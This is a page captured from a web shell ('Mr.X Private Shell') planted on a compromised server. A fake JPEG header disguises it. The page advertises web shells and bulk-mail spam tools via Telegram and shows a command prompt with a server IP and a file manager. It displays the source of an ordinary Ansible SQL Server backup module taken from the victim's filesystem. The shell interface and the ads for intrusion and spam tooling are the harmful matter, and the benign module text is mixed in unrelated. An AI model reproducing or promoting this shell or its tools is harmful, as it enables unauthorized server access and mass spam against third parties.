����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

deexcl@216.73.217.71: ~ $ 
# -*- coding: utf-8 -*-

# (c) 2022, John McCall (@lowlydba)
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

DOCUMENTATION = r'''
---
module: backup
short_description: Performs a backup operation
description:
  - Performs any type of database backup operation.
version_added: 0.8.0
options:
  database:
    description:
      - The database to process.
    type: str
    required: true
  path:
    description:
      - Path in which to place the backup files.
      - If not specified, the backups will be placed in the default backup location for SqlInstance.
    type: str
    required: false
  file_path:
    description:
      - The name of the file to backup to.
      - If no name is specified then the backup files will be named C(DatabaseName_yyyyMMddHHmm) (i.e. C(Database1_201714022131))
    type: str
    required: false
  increment_prefix:
    description:
      - If set, this will prefix backup files with an incrementing integer (ie; C(1-), C(2-)).
      - Using this has been alleged to improved restore times on some Azure based SQL Database platforms.
    type: bool
    required: false
    default: false
  replace_in_name:
    description:
      - If set, the following list of strings will be replaced in the FilePath and Path strings.
        C(instancename) - will be replaced with the instance Name
        C(servername) - will be replaced with the server name
        C(dbname) - will be replaced with the database name
        C(timestamp) - will be replaced with the timestamp (either the default, or the format provided)
        C(backuptype) - will be replaced with C(Full), C(Log), or C(Differential) as appropriate
    type: bool
    required: false
    default: false
  copy_only:
    description:
      - The backup will be CopyOnly.
    type: bool
    required: false
    default: false
  type:
    description:
      - The type of backup to perform.
    type: str
    required: false
    default: 'database'
    choices: ['full', 'log', 'differential', 'diff', 'database']
  create_folder:
    description:
      - If set, database is backed up to its own subfolder within the path.
    type: bool
    required: false
    default: false
  file_count:
    description:
      - The number of striped files to create the backup with.
    type: int
    required: false
    default: 0
  compress:
    description:
      - If set, use compression when creating the backup if it is supported by the version and edition.
    type: bool
    required: false
    default: false
  checksum:
    description:
      - If set, the backup checksum will be calculated.
    type: bool
    required: false
    default: false
  verify:
    description:
      - If set, the backup will be verified via C(RESTORE VERIFYONLY)
    type: bool
    required: false
    default: false
  max_transfer_size:
    description:
      - Sets the size of the unit of transfer. Values must be a multiple of 64kb.
    type: int
    required: false
    default: 0
  block_size:
    description:
      - Specifies block size to use.
    type: str
    required: false
    choices: ['0.5kb','1kb','2kb','4kb','8kb','16kb','32kb','64kb']
  buffer_count:
    description:
      - Number of I/O buffers to use.
    type: int
    required: false
    default: 0
  azure_base_url:
    description:
      - The URL to the base container of an Azure Storage account to write backups to.
    type: str
    required: false
  azure_credential:
    description:
      - The name of the credential on the SQL instance that can write to the I(azure_base_url),
        only needed if using Storage access keys If using SAS credentials, the command will look for a credential with a name matching the I(azure_base_url).
    type: str
    required: false
  no_recovery:
    description:
      - If set, performs a tail log backup.
    type: bool
    required: false
    default: false
  build_path:
    description:
      - By default this command will not attempt to create missing paths, this switch will change the behaviour so that it will.
    type: bool
    required: false
    default: false
  with_format:
    description:
      - Formats the media as the first step of the backup operation.
    type: bool
    required: false
    default: false
  initialize:
    description:
      - Initializes the media as part of the backup operation.
    type: bool
    required: false
    default: false
  timestamp_format:
    description:
      - By default the command timestamps backups using the format C(yyyyMMddHHmm). Using this option this can be overridden.
    type: str
    required: false
  ignore_file_checks:
    description:
      - If set, stops the function from checking path validity.
    type: bool
    required: false
    default: false
  encryption_algorithm:
    description:
      - Specifies the Encryption Algorithm to used.
    type: str
    required: false
    choices: ['AES128','AES192','AES256','TRIPLEDES']
  encryption_certificate:
    description:
      - The name of the certificate to be used to encrypt the backups.
    type: str
    required: false
author: "John McCall (@lowlydba)"
requirements:
  - L(dbatools,https://www.powershellgallery.com/packages/dbatools/) PowerShell module
extends_documentation_fragment:
  - lowlydba.sqlserver.sql_credentials
  - lowlydba.sqlserver.attributes.check_mode
  - lowlydba.sqlserver.attributes.platform_all
'''

EXAMPLES = r'''
- name: Create striped full database backup in default dir
  lowlydba.sqlserver.backup:
    sql_instance: sql-01.myco.io
    database: LowlyDB
    type: full
    file_count: 8

- name: Create t-log backup
  lowlydba.sqlserver.backup:
    sql_instance: sql-01.myco.io
    database: LowlyDB
    type: log
'''

RETURN = r'''
data:
  description: Modified output from the C(Backup-DbaDatabase) function.
  returned: success, but not in check_mode.
  type: dict
'''

Filemanager

DIR : / usr/ lib/ python3.9/ site-packages/ ansible_collections/ lowlydba/ sqlserver/ plugins/ modules/
Name Type Size Permission Actions
__pycache__ Folder 0755
ag_listener.ps1 File 3.12 KB 0644
ag_listener.py File 2.22 KB 0644
ag_replica.ps1 File 7.88 KB 0644
ag_replica.py File 4.71 KB 0644
agent_job.ps1 File 4.56 KB 0644
agent_job.py File 2.36 KB 0644
agent_job_category.ps1 File 2.17 KB 0644
agent_job_category.py File 1.29 KB 0644
agent_job_schedule.ps1 File 6.36 KB 0644
agent_job_schedule.py File 4.83 KB 0644
agent_job_step.ps1 File 6.3 KB 0644
agent_job_step.py File 3.34 KB 0644
availability_group.ps1 File 9.56 KB 0644
availability_group.py File 4.93 KB 0644
backup.ps1 File 5.73 KB 0644
backup.py File 5.75 KB 0644
credential.ps1 File 4.29 KB 0644
credential.py File 2.44 KB 0644
database.ps1 File 9.21 KB 0644
database.py File 2.55 KB 0644
dba_multitool.ps1 File 2.11 KB 0644
dba_multitool.py File 1.98 KB 0644
first_responder_kit.ps1 File 2.77 KB 0644
first_responder_kit.py File 2.74 KB 0644
hadr.ps1 File 2.39 KB 0644
hadr.py File 1.69 KB 0644
install_script.ps1 File 3.19 KB 0644
install_script.py File 3.27 KB 0644
instance_info.ps1 File 1.76 KB 0644
instance_info.py File 931 B 0644
login.ps1 File 5.35 KB 0644
login.py File 2.44 KB 0644
maintenance_solution.ps1 File 3.92 KB 0644
maintenance_solution.py File 3.24 KB 0644
memory.ps1 File 1.49 KB 0644
memory.py File 1.23 KB 0644
nonquery.ps1 File 1.49 KB 0644
nonquery.py File 1.26 KB 0644
resource_governor.ps1 File 2.15 KB 0644
resource_governor.py File 1.33 KB 0644
restore.ps1 File 7.63 KB 0644
restore.py File 7.29 KB 0644
rg_resource_pool.ps1 File 4.22 KB 0644
rg_resource_pool.py File 2.56 KB 0644
rg_workload_group.ps1 File 4.44 KB 0644
rg_workload_group.py File 2.96 KB 0644
sa.ps1 File 3.5 KB 0644
sa.py File 1.97 KB 0644
sp_configure.ps1 File 1.84 KB 0644
sp_configure.py File 1.4 KB 0644
sp_whoisactive.ps1 File 1.62 KB 0644
sp_whoisactive.py File 1.67 KB 0644
spn.ps1 File 2.66 KB 0644
spn.py File 1.87 KB 0644
tcp_port.ps1 File 2.35 KB 0644
tcp_port.py File 1.72 KB 0644
traceflag.ps1 File 2.11 KB 0644
traceflag.py File 1.53 KB 0644
user.ps1 File 4.76 KB 0644
user.py File 2 KB 0644